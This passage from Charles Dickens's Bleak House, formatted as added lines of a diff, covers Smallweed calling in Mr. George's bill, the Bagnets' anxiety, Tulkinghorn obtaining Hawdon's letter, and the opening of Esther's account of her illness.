+One glance between the old man and the lady, and for an instant the
+blind that is always down flies up. Suspicion, eager and sharp, looks
+out. Another instant, close again.
+
+"I beg your pardon, Lady Dedlock. I beg your pardon a thousand times.
+It is so very unusual to find you here at this hour. I supposed the
+room was empty. I beg your pardon!"
+
+"Stay!" She negligently calls him back. "Remain here, I beg. I am
+going out to dinner. I have nothing more to say to this young man!"
+
+The disconcerted young man bows, as he goes out, and cringingly hopes
+that Mr. Tulkinghorn of the Fields is well.
+
+"Aye, aye?" says the lawyer, looking at him from under his bent
+brows, though he has no need to look again--not he. "From Kenge and
+Carboy's, surely?"
+
+"Kenge and Carboy's, Mr. Tulkinghorn. Name of Guppy, sir."
+
+"To be sure. Why, thank you, Mr. Guppy, I am very well!"
+
+"Happy to hear it, sir. You can't be too well, sir, for the credit of
+the profession."
+
+"Thank you, Mr. Guppy!"
+
+Mr. Guppy sneaks away. Mr. Tulkinghorn, such a foil in his
+old-fashioned rusty black to Lady Dedlock's brightness, hands her
+down the staircase to her carriage. He returns rubbing his chin, and
+rubs it a good deal in the course of the evening.
+
+
+
+
+CHAPTER XXXIV
+
+A Turn of the Screw
+
+
+"Now, what," says Mr. George, "may this be? Is it blank cartridge or
+ball? A flash in the pan or a shot?"
+
+An open letter is the subject of the trooper's speculations, and it
+seems to perplex him mightily. He looks at it at arm's length, brings
+it close to him, holds it in his right hand, holds it in his left
+hand, reads it with his head on this side, with his head on that
+side, contracts his eyebrows, elevates them, still cannot satisfy
+himself. He smooths it out upon the table with his heavy palm, and
+thoughtfully walking up and down the gallery, makes a halt before it
+every now and then to come upon it with a fresh eye. Even that won't
+do. "Is it," Mr. George still muses, "blank cartridge or ball?"
+
+Phil Squod, with the aid of a brush and paint-pot, is employed in the
+distance whitening the targets, softly whistling in quick-march time
+and in drum-and-fife manner that he must and will go back again to
+the girl he left behind him.
+
+"Phil!" The trooper beckons as he calls him.
+
+Phil approaches in his usual way, sidling off at first as if he were
+going anywhere else and then bearing down upon his commander like a
+bayonet-charge. Certain splashes of white show in high relief upon
+his dirty face, and he scrapes his one eyebrow with the handle of the
+brush.
+
+"Attention, Phil! Listen to this."
+
+"Steady, commander, steady."
+
+"'Sir. Allow me to remind you (though there is no legal necessity for
+my doing so, as you are aware) that the bill at two months' date
+drawn on yourself by Mr. Matthew Bagnet, and by you accepted, for the
+sum of ninety-seven pounds four shillings and ninepence, will become
+due to-morrow, when you will please be prepared to take up the same
+on presentation. Yours, Joshua Smallweed.' What do you make of that,
+Phil?"
+
+"Mischief, guv'ner."
+
+"Why?"
+
+"I think," replies Phil after pensively tracing out a cross-wrinkle
+in his forehead with the brush-handle, "that mischeevious
+consequences is always meant when money's asked for."
+
+"Lookye, Phil," says the trooper, sitting on the table. "First and
+last, I have paid, I may say, half as much again as this principal in
+interest and one thing and another."
+
+Phil intimates by sidling back a pace or two, with a very
+unaccountable wrench of his wry face, that he does not regard the
+transaction as being made more promising by this incident.
+
+"And lookye further, Phil," says the trooper, staying his premature
+conclusions with a wave of his hand. "There has always been an
+understanding that this bill was to be what they call renewed. And it
+has been renewed no end of times. What do you say now?"
+
+"I say that I think the times is come to a end at last."
+
+"You do? Humph! I am much of the same mind myself."
+
+"Joshua Smallweed is him that was brought here in a chair?"
+
+"The same."
+
+"Guv'ner," says Phil with exceeding gravity, "he's a leech in his
+dispositions, he's a screw and a wice in his actions, a snake in his
+twistings, and a lobster in his claws."
+
+Having thus expressively uttered his sentiments, Mr. Squod, after
+waiting a little to ascertain if any further remark be expected of
+him, gets back by his usual series of movements to the target he has
+in hand and vigorously signifies through his former musical medium
+that he must and he will return to that ideal young lady. George,
+having folded the letter, walks in that direction.
+
+"There IS a way, commander," says Phil, looking cunningly at him, "of
+settling this."
+
+"Paying the money, I suppose? I wish I could."
+
+Phil shakes his head. "No, guv'ner, no; not so bad as that. There IS
+a way," says Phil with a highly artistic turn of his brush; "what I'm
+a-doing at present."
+
+"Whitewashing."
+
+Phil nods.
+
+"A pretty way that would be! Do you know what would become of the
+Bagnets in that case? Do you know they would be ruined to pay off my
+old scores? YOU'RE a moral character," says the trooper, eyeing him
+in his large way with no small indignation; "upon my life you are,
+Phil!"
+
+Phil, on one knee at the target, is in course of protesting
+earnestly, though not without many allegorical scoops of his brush
+and smoothings of the white surface round the rim with his thumb,
+that he had forgotten the Bagnet responsibility and would not so much
+as injure a hair of the head of any member of that worthy family when
+steps are audible in the long passage without, and a cheerful voice
+is heard to wonder whether George is at home. Phil, with a look at
+his master, hobbles up, saying, "Here's the guv'ner, Mrs. Bagnet!
+Here he is!" and the old girl herself, accompanied by Mr. Bagnet,
+appears.
+
+The old girl never appears in walking trim, in any season of the
+year, without a grey cloth cloak, coarse and much worn but very
+clean, which is, undoubtedly, the identical garment rendered so
+interesting to Mr. Bagnet by having made its way home to Europe from
+another quarter of the globe in company with Mrs. Bagnet and an
+umbrella. The latter faithful appendage is also invariably a part of
+the old girl's presence out of doors. It is of no colour known in
+this life and has a corrugated wooden crook for a handle, with a
+metallic object let into its prow, or beak, resembling a little model
+of a fanlight over a street door or one of the oval glasses out of a
+pair of spectacles, which ornamental object has not that tenacious
+capacity of sticking to its post that might be desired in an article
+long associated with the British army. The old girl's umbrella is of
+a flabby habit of waist and seems to be in need of stays--an
+appearance that is possibly referable to its having served through a
+series of years at home as a cupboard and on journeys as a carpet
+bag. She never puts it up, having the greatest reliance on her
+well-proved cloak with its capacious hood, but generally uses the
+instrument as a wand with which to point out joints of meat or
+bunches of greens in marketing or to arrest the attention of
+tradesmen by a friendly poke. Without her market-basket, which is a
+sort of wicker well with two flapping lids, she never stirs abroad.
+Attended by these her trusty companions, therefore, her honest
+sunburnt face looking cheerily out of a rough straw bonnet, Mrs.
+Bagnet now arrives, fresh-coloured and bright, in George's Shooting
+Gallery.
+
+"Well, George, old fellow," says she, "and how do YOU do, this
+sunshiny morning?"
+
+Giving him a friendly shake of the hand, Mrs. Bagnet draws a long
+breath after her walk and sits down to enjoy a rest. Having a
+faculty, matured on the tops of baggage-waggons and in other such
+positions, of resting easily anywhere, she perches on a rough bench,
+unties her bonnet-strings, pushes back her bonnet, crosses her arms,
+and looks perfectly comfortable.
+
+Mr. Bagnet in the meantime has shaken hands with his old comrade and
+with Phil, on whom Mrs. Bagnet likewise bestows a good-humoured nod
+and smile.
+
+"Now, George," said Mrs. Bagnet briskly, "here we are, Lignum and
+myself"--she often speaks of her husband by this appellation, on
+account, as it is supposed, of Lignum Vitae having been his old
+regimental nickname when they first became acquainted, in compliment
+to the extreme hardness and toughness of his physiognomy--"just
+looked in, we have, to make it all correct as usual about that
+security. Give him the new bill to sign, George, and he'll sign it
+like a man."
+
+"I was coming to you this morning," observes the trooper reluctantly.
+
+"Yes, we thought you'd come to us this morning, but we turned out
+early and left Woolwich, the best of boys, to mind his sisters and
+came to you instead--as you see! For Lignum, he's tied so close now,
+and gets so little exercise, that a walk does him good. But what's
+the matter, George?" asks Mrs. Bagnet, stopping in her cheerful talk.
+"You don't look yourself."
+
+"I am not quite myself," returns the trooper; "I have been a little
+put out, Mrs. Bagnet."
+
+Her bright quick eye catches the truth directly. "George!" holding up
+her forefinger. "Don't tell me there's anything wrong about that
+security of Lignum's! Don't do it, George, on account of the
+children!"
+
+The trooper looks at her with a troubled visage.
+
+"George," says Mrs. Bagnet, using both her arms for emphasis and
+occasionally bringing down her open hands upon her knees. "If you
+have allowed anything wrong to come to that security of Lignum's, and
+if you have let him in for it, and if you have put us in danger of
+being sold up--and I see sold up in your face, George, as plain as
+print--you have done a shameful action and have deceived us cruelly.
+I tell you, cruelly, George. There!"
+
+Mr. Bagnet, otherwise as immovable as a pump or a lamp-post, puts his
+large right hand on the top of his bald head as if to defend it from
+a shower-bath and looks with great uneasiness at Mrs. Bagnet.
+
+"George," says that old girl, "I wonder at you! George, I am ashamed
+of you! George, I couldn't have believed you would have done it! I
+always knew you to be a rolling stone that gathered no moss, but I
+never thought you would have taken away what little moss there was
+for Bagnet and the children to lie upon. You know what a
+hard-working, steady-going chap he is. You know what Quebec and Malta
+and Woolwich are, and I never did think you would, or could, have had
+the heart to serve us so. Oh, George!" Mrs. Bagnet gathers up her
+cloak to wipe her eyes on in a very genuine manner, "How could you do
+it?"
+
+Mrs. Bagnet ceasing, Mr. Bagnet removes his hand from his head as if
+the shower-bath were over and looks disconsolately at Mr. George, who
+has turned quite white and looks distressfully at the grey cloak and
+straw bonnet.
+
+"Mat," says the trooper in a subdued voice, addressing him but still
+looking at his wife, "I am sorry you take it so much to heart,
+because I do hope it's not so bad as that comes to. I certainly have,
+this morning, received this letter"--which he reads aloud--"but I
+hope it may be set right yet. As to a rolling stone, why, what you
+say is true. I AM a rolling stone, and I never rolled in anybody's
+way, I fully believe, that I rolled the least good to. But it's
+impossible for an old vagabond comrade to like your wife and family
+better than I like 'em, Mat, and I trust you'll look upon me as
+forgivingly as you can. Don't think I've kept anything from you. I
+haven't had the letter more than a quarter of an hour."
+
+"Old girl," murmurs Mr. Bagnet after a short silence, "will you tell
+him my opinion?"
+
+"Oh! Why didn't he marry," Mrs. Bagnet answers, half laughing and
+half crying, "Joe Pouch's widder in North America? Then he wouldn't
+have got himself into these troubles."
+
+"The old girl," says Mr. Bagnet, "puts it correct--why didn't you?"
+
+"Well, she has a better husband by this time, I hope," returns the
+trooper. "Anyhow, here I stand, this present day, NOT married to Joe
+Pouch's widder. What shall I do? You see all I have got about me.
+It's not mine; it's yours. Give the word, and I'll sell off every
+morsel. If I could have hoped it would have brought in nearly the sum
+wanted, I'd have sold all long ago. Don't believe that I'll leave you
+or yours in the lurch, Mat. I'd sell myself first. I only wish," says
+the trooper, giving himself a disparaging blow in the chest, "that I
+knew of any one who'd buy such a second-hand piece of old stores."
+
+"Old girl," murmurs Mr. Bagnet, "give him another bit of my mind."
+
+"George," says the old girl, "you are not so much to be blamed, on
+full consideration, except for ever taking this business without the
+means."
+
+"And that was like me!" observes the penitent trooper, shaking his
+head. "Like me, I know."
+
+"Silence! The old girl," says Mr. Bagnet, "is correct--in her way of
+giving my opinions--hear me out!"
+
+"That was when you never ought to have asked for the security,
+George, and when you never ought to have got it, all things
+considered. But what's done can't be undone. You are always an
+honourable and straightforward fellow, as far as lays in your power,
+though a little flighty. On the other hand, you can't admit but what
+it's natural in us to be anxious with such a thing hanging over our
+heads. So forget and forgive all round, George. Come! Forget and
+forgive all round!"
+
+Mrs. Bagnet, giving him one of her honest hands and giving her
+husband the other, Mr. George gives each of them one of his and holds
+them while he speaks.
+
+"I do assure you both, there's nothing I wouldn't do to discharge
+this obligation. But whatever I have been able to scrape together has
+gone every two months in keeping it up. We have lived plainly enough
+here, Phil and I. But the gallery don't quite do what was expected of
+it, and it's not--in short, it's not the mint. It was wrong in me to
+take it? Well, so it was. But I was in a manner drawn into that step,
+and I thought it might steady me, and set me up, and you'll try to
+overlook my having such expectations, and upon my soul, I am very
+much obliged to you, and very much ashamed of myself." With these
+concluding words, Mr. George gives a shake to each of the hands he
+holds, and relinquishing them, backs a pace or two in a
+broad-chested, upright attitude, as if he had made a final confession
+and were immediately going to be shot with all military honours.
+
+"George, hear me out!" says Mr. Bagnet, glancing at his wife. "Old
+girl, go on!"
+
+Mr. Bagnet, being in this singular manner heard out, has merely to
+observe that the letter must be attended to without any delay, that
+it is advisable that George and he should immediately wait on Mr.
+Smallweed in person, and that the primary object is to save and hold
+harmless Mr. Bagnet, who had none of the money. Mr. George, entirely
+assenting, puts on his hat and prepares to march with Mr. Bagnet to
+the enemy's camp.
+
+"Don't you mind a woman's hasty word, George," says Mrs. Bagnet,
+patting him on the shoulder. "I trust my old Lignum to you, and I am
+sure you'll bring him through it."
+
+The trooper returns that this is kindly said and that he WILL bring
+Lignum through it somehow. Upon which Mrs. Bagnet, with her cloak,
+basket, and umbrella, goes home, bright-eyed again, to the rest of
+her family, and the comrades sally forth on the hopeful errand of
+mollifying Mr. Smallweed.
+
+Whether there are two people in England less likely to come
+satisfactorily out of any negotiation with Mr. Smallweed than Mr.
+George and Mr. Matthew Bagnet may be very reasonably questioned.
+Also, notwithstanding their martial appearance, broad square
+shoulders, and heavy tread, whether there are within the same limits
+two more simple and unaccustomed children in all the Smallweedy
+affairs of life. As they proceed with great gravity through the
+streets towards the region of Mount Pleasant, Mr. Bagnet, observing
+his companion to be thoughtful, considers it a friendly part to refer
+to Mrs. Bagnet's late sally.
+
+"George, you know the old girl--she's as sweet and as mild as milk.
+But touch her on the children--or myself--and she's off like
+gunpowder."
+
+"It does her credit, Mat!"
+
+"George," says Mr. Bagnet, looking straight before him, "the old
+girl--can't do anything--that don't do her credit. More or less. I
+never say so. Discipline must be maintained."
+
+"She's worth her weight in gold," says the trooper.
+
+"In gold?" says Mr. Bagnet. "I'll tell you what. The old girl's
+weight--is twelve stone six. Would I take that weight--in any
+metal--for the old girl? No. Why not? Because the old girl's metal is
+far more precious--than the preciousest metal. And she's ALL metal!"
+
+"You are right, Mat!"
+
+"When she took me--and accepted of the ring--she 'listed under me and
+the children--heart and head, for life. She's that earnest," says Mr.
+Bagnet, "and true to her colours--that, touch us with a finger--and
+she turns out--and stands to her arms. If the old girl fires
+wide--once in a way--at the call of duty--look over it, George. For
+she's loyal!"
+
+"Why, bless her, Mat," returns the trooper, "I think the higher of
+her for it!"
+
+"You are right!" says Mr. Bagnet with the warmest enthusiasm, though
+without relaxing the rigidity of a single muscle. "Think as high of
+the old girl--as the rock of Gibraltar--and still you'll be thinking
+low--of such merits. But I never own to it before her. Discipline
+must be maintained."
+
+These encomiums bring them to Mount Pleasant and to Grandfather
+Smallweed's house. The door is opened by the perennial Judy, who,
+having surveyed them from top to toe with no particular favour, but
+indeed with a malignant sneer, leaves them standing there while she
+consults the oracle as to their admission. The oracle may be inferred
+to give consent from the circumstance of her returning with the words
+on her honey lips that they can come in if they want to it. Thus
+privileged, they come in and find Mr. Smallweed with his feet in the
+drawer of his chair as if it were a paper foot-bath and Mrs.
+Smallweed obscured with the cushion like a bird that is not to sing.
+
+"My dear friend," says Grandfather Smallweed with those two lean
+affectionate arms of his stretched forth. "How de do? How de do? Who
+is our friend, my dear friend?"
+
+"Why this," returns George, not able to be very conciliatory at
+first, "is Matthew Bagnet, who has obliged me in that matter of ours,
+you know."
+
+"Oh! Mr. Bagnet? Surely!" The old man looks at him under his hand.
+
+"Hope you're well, Mr. Bagnet? Fine man, Mr. George! Military air,
+sir!"
+
+No chairs being offered, Mr. George brings one forward for Bagnet and
+one for himself. They sit down, Mr. Bagnet as if he had no power of
+bending himself, except at the hips, for that purpose.
+
+"Judy," says Mr. Smallweed, "bring the pipe."
+
+"Why, I don't know," Mr. George interposes, "that the young woman
+need give herself that trouble, for to tell you the truth, I am not
+inclined to smoke it to-day."
+
+"Ain't you?" returns the old man. "Judy, bring the pipe."
+
+"The fact is, Mr. Smallweed," proceeds George, "that I find myself in
+rather an unpleasant state of mind. It appears to me, sir, that your
+friend in the city has been playing tricks."
+
+"Oh, dear no!" says Grandfather Smallweed. "He never does that!"
+
+"Don't he? Well, I am glad to hear it, because I thought it might be
+HIS doing. This, you know, I am speaking of. This letter."
+
+Grandfather Smallweed smiles in a very ugly way in recognition of the
+letter.
+
+"What does it mean?" asks Mr. George.
+
+"Judy," says the old man. "Have you got the pipe? Give it to me. Did
+you say what does it mean, my good friend?"
+
+"Aye! Now, come, come, you know, Mr. Smallweed," urges the trooper,
+constraining himself to speak as smoothly and confidentially as he
+can, holding the open letter in one hand and resting the broad
+knuckles of the other on his thigh, "a good lot of money has passed
+between us, and we are face to face at the present moment, and are
+both well aware of the understanding there has always been. I am
+prepared to do the usual thing which I have done regularly and to
+keep this matter going. I never got a letter like this from you
+before, and I have been a little put about by it this morning,
+because here's my friend Matthew Bagnet, who, you know, had none of
+the money--"
+
+"I DON'T know it, you know," says the old man quietly.
+
+"Why, con-found you--it, I mean--I tell you so, don't I?"
+
+"Oh, yes, you tell me so," returns Grandfather Smallweed. "But I
+don't know it."
+
+"Well!" says the trooper, swallowing his fire. "I know it."
+
+Mr. Smallweed replies with excellent temper, "Ah! That's quite
+another thing!" And adds, "But it don't matter. Mr. Bagnet's
+situation is all one, whether or no."
+
+The unfortunate George makes a great effort to arrange the affair
+comfortably and to propitiate Mr. Smallweed by taking him upon his
+own terms.
+
+"That's just what I mean. As you say, Mr. Smallweed, here's Matthew
+Bagnet liable to be fixed whether or no. Now, you see, that makes his
+good lady very uneasy in her mind, and me too, for whereas I'm a
+harum-scarum sort of a good-for-nought that more kicks than halfpence
+come natural to, why he's a steady family man, don't you see? Now,
+Mr. Smallweed," says the trooper, gaining confidence as he proceeds
+in his soldierly mode of doing business, "although you and I are good
+friends enough in a certain sort of a way, I am well aware that I
+can't ask you to let my friend Bagnet off entirely."
+
+"Oh, dear, you are too modest. You can ASK me anything, Mr. George."
+(There is an ogreish kind of jocularity in Grandfather Smallweed
+to-day.)
+
+"And you can refuse, you mean, eh? Or not you so much, perhaps, as
+your friend in the city? Ha ha ha!"
+
+"Ha ha ha!" echoes Grandfather Smallweed. In such a very hard manner
+and with eyes so particularly green that Mr. Bagnet's natural gravity
+is much deepened by the contemplation of that venerable man.
+
+"Come!" says the sanguine George. "I am glad to find we can be
+pleasant, because I want to arrange this pleasantly. Here's my friend
+Bagnet, and here am I. We'll settle the matter on the spot, if you
+please, Mr. Smallweed, in the usual way. And you'll ease my friend
+Bagnet's mind, and his family's mind, a good deal if you'll just
+mention to him what our understanding is."
+
+Here some shrill spectre cries out in a mocking manner, "Oh, good
+gracious! Oh!" Unless, indeed, it be the sportive Judy, who is found
+to be silent when the startled visitors look round, but whose chin
+has received a recent toss, expressive of derision and contempt. Mr.
+Bagnet's gravity becomes yet more profound.
+
+"But I think you asked me, Mr. George"--old Smallweed, who all this
+time has had the pipe in his hand, is the speaker now--"I think you
+asked me, what did the letter mean?"
+
+"Why, yes, I did," returns the trooper in his off-hand way, "but I
+don't care to know particularly, if it's all correct and pleasant."
+
+Mr. Smallweed, purposely balking himself in an aim at the trooper's
+head, throws the pipe on the ground and breaks it to pieces.
+
+"That's what it means, my dear friend. I'll smash you. I'll crumble
+you. I'll powder you. Go to the devil!"
+
+The two friends rise and look at one another. Mr. Bagnet's gravity
+has now attained its profoundest point.
+
+"Go to the devil!" repeats the old man. "I'll have no more of your
+pipe-smokings and swaggerings. What? You're an independent dragoon,
+too! Go to my lawyer (you remember where; you have been there before)
+and show your independence now, will you? Come, my dear friend,
+there's a chance for you. Open the street door, Judy; put these
+blusterers out! Call in help if they don't go. Put 'em out!"
+
+He vociferates this so loudly that Mr. Bagnet, laying his hands on
+the shoulders of his comrade before the latter can recover from his
+amazement, gets him on the outside of the street door, which is
+instantly slammed by the triumphant Judy. Utterly confounded, Mr.
+George awhile stands looking at the knocker. Mr. Bagnet, in a perfect
+abyss of gravity, walks up and down before the little parlour window
+like a sentry and looks in every time he passes, apparently revolving
+something in his mind.
+
+"Come, Mat," says Mr. George when he has recovered himself, "we must
+try the lawyer. Now, what do you think of this rascal?"
+
+Mr. Bagnet, stopping to take a farewell look into the parlour,
+replies with one shake of his head directed at the interior, "If my
+old girl had been here--I'd have told him!" Having so discharged
+himself of the subject of his cogitations, he falls into step and
+marches off with the trooper, shoulder to shoulder.
+
+When they present themselves in Lincoln's Inn Fields, Mr. Tulkinghorn
+is engaged and not to be seen. He is not at all willing to see them,
+for when they have waited a full hour, and the clerk, on his bell
+being rung, takes the opportunity of mentioning as much, he brings
+forth no more encouraging message than that Mr. Tulkinghorn has
+nothing to say to them and they had better not wait. They do wait,
+however, with the perseverance of military tactics, and at last the
+bell rings again and the client in possession comes out of Mr.
+Tulkinghorn's room.
+
+The client is a handsome old lady, no other than Mrs. Rouncewell,
+housekeeper at Chesney Wold. She comes out of the sanctuary with a
+fair old-fashioned curtsy and softly shuts the door. She is treated
+with some distinction there, for the clerk steps out of his pew to
+show her through the outer office and to let her out. The old lady is
+thanking him for his attention when she observes the comrades in
+waiting.
+
+"I beg your pardon, sir, but I think those gentlemen are military?"
+
+The clerk referring the question to them with his eye, and Mr. George
+not turning round from the almanac over the fire-place. Mr. Bagnet
+takes upon himself to reply, "Yes, ma'am. Formerly."
+
+"I thought so. I was sure of it. My heart warms, gentlemen, at the
+sight of you. It always does at the sight of such. God bless you,
+gentlemen! You'll excuse an old woman, but I had a son once who went
+for a soldier. A fine handsome youth he was, and good in his bold
+way, though some people did disparage him to his poor mother. I ask
+your pardon for troubling you, sir. God bless you, gentlemen!"
+
+"Same to you, ma'am!" returns Mr. Bagnet with right good will.
+
+There is something very touching in the earnestness of the old lady's
+voice and in the tremble that goes through her quaint old figure. But
+Mr. George is so occupied with the almanac over the fire-place
+(calculating the coming months by it perhaps) that he does not look
+round until she has gone away and the door is closed upon her.
+
+"George," Mr. Bagnet gruffly whispers when he does turn from the
+almanac at last. "Don't be cast down! 'Why, soldiers, why--should we
+be melancholy, boys?' Cheer up, my hearty!"
+
+The clerk having now again gone in to say that they are still there
+and Mr. Tulkinghorn being heard to return with some irascibility,
+"Let 'em come in then!" they pass into the great room with the
+painted ceiling and find him standing before the fire.
+
+"Now, you men, what do you want? Sergeant, I told you the last time I
+saw you that I don't desire your company here."
+
+Sergeant replies--dashed within the last few minutes as to his usual
+manner of speech, and even as to his usual carriage--that he has
+received this letter, has been to Mr. Smallweed about it, and has
+been referred there.
+
+"I have nothing to say to you," rejoins Mr. Tulkinghorn. "If you get
+into debt, you must pay your debts or take the consequences. You have
+no occasion to come here to learn that, I suppose?"
+
+Sergeant is sorry to say that he is not prepared with the money.
+
+"Very well! Then the other man--this man, if this is he--must pay it
+for you."
+
+Sergeant is sorry to add that the other man is not prepared with the
+money either.
+
+"Very well! Then you must pay it between you or you must both be sued
+for it and both suffer. You have had the money and must refund it.
+You are not to pocket other people's pounds, shillings, and pence and
+escape scot-free."
+
+The lawyer sits down in his easy-chair and stirs the fire. Mr. George
+hopes he will have the goodness to--"I tell you, sergeant, I have
+nothing to say to you. I don't like your associates and don't want
+you here. This matter is not at all in my course of practice and is
+not in my office. Mr. Smallweed is good enough to offer these affairs
+to me, but they are not in my way. You must go to Melchisedech's in
+Clifford's Inn."
+
+"I must make an apology to you, sir," says Mr. George, "for pressing
+myself upon you with so little encouragement--which is almost as
+unpleasant to me as it can be to you--but would you let me say a
+private word to you?"
+
+Mr. Tulkinghorn rises with his hands in his pockets and walks into
+one of the window recesses. "Now! I have no time to waste." In the
+midst of his perfect assumption of indifference, he directs a sharp
+look at the trooper, taking care to stand with his own back to the
+light and to have the other with his face towards it.
+
+"Well, sir," says Mr. George, "this man with me is the other party
+implicated in this unfortunate affair--nominally, only nominally--and
+my sole object is to prevent his getting into trouble on my account.
+He is a most respectable man with a wife and family, formerly in the
+Royal Artillery--"
+
+"My friend, I don't care a pinch of snuff for the whole Royal
+Artillery establishment--officers, men, tumbrils, waggons, horses,
+guns, and ammunition."
+
+"'Tis likely, sir. But I care a good deal for Bagnet and his wife and
+family being injured on my account. And if I could bring them through
+this matter, I should have no help for it but to give up without any
+other consideration what you wanted of me the other day."
+
+"Have you got it here?"
+
+"I have got it here, sir."
+
+"Sergeant," the lawyer proceeds in his dry passionless manner, far
+more hopeless in the dealing with than any amount of vehemence, "make
+up your mind while I speak to you, for this is final. After I have
+finished speaking I have closed the subject, and I won't re-open it.
+Understand that. You can leave here, for a few days, what you say you
+have brought here if you choose; you can take it away at once if you
+choose. In case you choose to leave it here, I can do this for you--I
+can replace this matter on its old footing, and I can go so far
+besides as to give you a written undertaking that this man Bagnet
+shall never be troubled in any way until you have been proceeded
+against to the utmost, that your means shall be exhausted before the
+creditor looks to his. This is in fact all but freeing him. Have you
+decided?"
+
+The trooper puts his hand into his breast and answers with a long
+breath, "I must do it, sir."
+
+So Mr. Tulkinghorn, putting on his spectacles, sits down and writes
+the undertaking, which he slowly reads and explains to Bagnet, who
+has all this time been staring at the ceiling and who puts his hand
+on his bald head again, under this new verbal shower-bath, and seems
+exceedingly in need of the old girl through whom to express his
+sentiments. The trooper then takes from his breast-pocket a folded
+paper, which he lays with an unwilling hand at the lawyer's elbow.
+"'Tis only a letter of instructions, sir. The last I ever had from
+him."
+
+Look at a millstone, Mr. George, for some change in its expression,
+and you will find it quite as soon as in the face of Mr. Tulkinghorn
+when he opens and reads the letter! He refolds it and lays it in his
+desk with a countenance as unperturbable as death.
+
+Nor has he anything more to say or do but to nod once in the same
+frigid and discourteous manner and to say briefly, "You can go. Show
+these men out, there!" Being shown out, they repair to Mr. Bagnet's
+residence to dine.
+
+Boiled beef and greens constitute the day's variety on the former
+repast of boiled pork and greens, and Mrs. Bagnet serves out the meal
+in the same way and seasons it with the best of temper, being that
+rare sort of old girl that she receives Good to her arms without a
+hint that it might be Better and catches light from any little spot
+of darkness near her. The spot on this occasion is the darkened brow
+of Mr. George; he is unusually thoughtful and depressed. At first
+Mrs. Bagnet trusts to the combined endearments of Quebec and Malta to
+restore him, but finding those young ladies sensible that their
+existing Bluffy is not the Bluffy of their usual frolicsome
+acquaintance, she winks off the light infantry and leaves him to
+deploy at leisure on the open ground of the domestic hearth.
+
+But he does not. He remains in close order, clouded and depressed.
+During the lengthy cleaning up and pattening process, when he and Mr.
+Bagnet are supplied with their pipes, he is no better than he was at
+dinner. He forgets to smoke, looks at the fire and ponders, lets his
+pipe out, fills the breast of Mr. Bagnet with perturbation and dismay
+by showing that he has no enjoyment of tobacco.
+
+Therefore when Mrs. Bagnet at last appears, rosy from the
+invigorating pail, and sits down to her work, Mr. Bagnet growls, "Old
+girl!" and winks monitions to her to find out what's the matter.
+
+"Why, George!" says Mrs. Bagnet, quietly threading her needle. "How
+low you are!"
+
+"Am I? Not good company? Well, I am afraid I am not."
+
+"He ain't at all like Bluffy, mother!" cries little Malta.
+
+"Because he ain't well, I think, mother," adds Quebec.
+
+"Sure that's a bad sign not to be like Bluffy, too!" returns the
+trooper, kissing the young damsels. "But it's true," with a sigh,
+"true, I am afraid. These little ones are always right!"
+
+"George," says Mrs. Bagnet, working busily, "if I thought you cross
+enough to think of anything that a shrill old soldier's wife--who
+could have bitten her tongue off afterwards and ought to have done it
+almost--said this morning, I don't know what I shouldn't say to you
+now."
+
+"My kind soul of a darling," returns the trooper. "Not a morsel of
+it."
+
+"Because really and truly, George, what I said and meant to say was
+that I trusted Lignum to you and was sure you'd bring him through it.
+And you HAVE brought him through it, noble!"
+
+"Thankee, my dear!" says George. "I am glad of your good opinion."
+
+In giving Mrs. Bagnet's hand, with her work in it, a friendly
+shake--for she took her seat beside him--the trooper's attention is
+attracted to her face. After looking at it for a little while as she
+plies her needle, he looks to young Woolwich, sitting on his stool in
+the corner, and beckons that fifer to him.
+
+"See there, my boy," says George, very gently smoothing the mother's
+hair with his hand, "there's a good loving forehead for you! All
+bright with love of you, my boy. A little touched by the sun and the
+weather through following your father about and taking care of you,
+but as fresh and wholesome as a ripe apple on a tree."
+
+Mr. Bagnet's face expresses, so far as in its wooden material lies,
+the highest approbation and acquiescence.
+
+"The time will come, my boy," pursues the trooper, "when this hair of
+your mother's will be grey, and this forehead all crossed and
+re-crossed with wrinkles, and a fine old lady she'll be then. Take
+care, while you are young, that you can think in those days, 'I never
+whitened a hair of her dear head--I never marked a sorrowful line in
+her face!' For of all the many things that you can think of when you
+are a man, you had better have THAT by you, Woolwich!"
+
+Mr. George concludes by rising from his chair, seating the boy beside
+his mother in it, and saying, with something of a hurry about him,
+that he'll smoke his pipe in the street a bit.
+
+
+
+
+CHAPTER XXXV
+
+Esther's Narrative
+
+
+I lay ill through several weeks, and the usual tenor of my life
+became like an old remembrance. But this was not the effect of time
+so much as of the change in all my habits made by the helplessness
+and inaction of a sick-room. Before I had been confined to it many
+days, everything else seemed to have retired into a remote distance
+where there was little or no separation between the various stages of
+my life which had been really divided by years. In falling ill, I
+seemed to have crossed a dark lake and to have left all my
+experiences, mingled together by the great distance, on the healthy
+shore.
+
+My housekeeping duties, though at first it caused me great anxiety to
+think that they were unperformed, were soon as far off as the oldest
+of the old duties at Greenleaf or the summer afternoons when I went
+home from school with my portfolio under my arm, and my childish
+shadow at my side, to my godmother's house. I had never known before
+how short life really was and into how small a space the mind could
+put it.
+
+While I was very ill, the way in which these divisions of time became
+confused with one another distressed my mind exceedingly. At once a
+child, an elder girl, and the little woman I had been so happy as, I
+was not only oppressed by cares and difficulties adapted to each
+station, but by the great perplexity of endlessly trying to reconcile
+them. I suppose that few who have not been in such a condition can
+quite understand what I mean or what painful unrest arose from this
+source.
+
+For the same reason I am almost afraid to hint at that time in my
+disorder--it seemed one long night, but I believe there were both
+nights and days in it--when I laboured up colossal staircases, ever
+striving to reach the top, and ever turned, as I have seen a worm in
+a garden path, by some obstruction, and labouring again. I knew
+perfectly at intervals, and I think vaguely at most times, that I was
+in my bed; and I talked with Charley, and felt her touch, and knew
+her very well; yet I would find myself complaining, "Oh, more of
+these never-ending stairs, Charley--more and more--piled up to the
+sky', I think!" and labouring on again.
+
+Dare I hint at that worse time when, strung together somewhere in
+great black space, there was a flaming necklace, or ring, or starry
+circle of some kind, of which I was one of the beads! And when my
+only prayer was to be taken off from the rest and when it was such
+inexplicable agony and misery to be a part of the dreadful thing?
+
+Perhaps the less I say of these sick experiences, the less tedious
+and the more intelligible I shall be. I do not recall them to make
+others unhappy or because I am now the least unhappy in remembering
+them. It may be that if we knew more of such strange afflictions we
+might be the better able to alleviate their intensity.
+
+The repose that succeeded, the long delicious sleep, the blissful
+rest, when in my weakness I was too calm to have any care for myself
+and could have heard (or so I think now) that I was dying, with no
+other emotion than with a pitying love for those I left behind--this
+state can be perhaps more widely understood. I was in this state when
+I first shrunk from the light as it twinkled on me once more, and
+knew with a boundless joy for which no words are rapturous enough
+that I should see again.
+
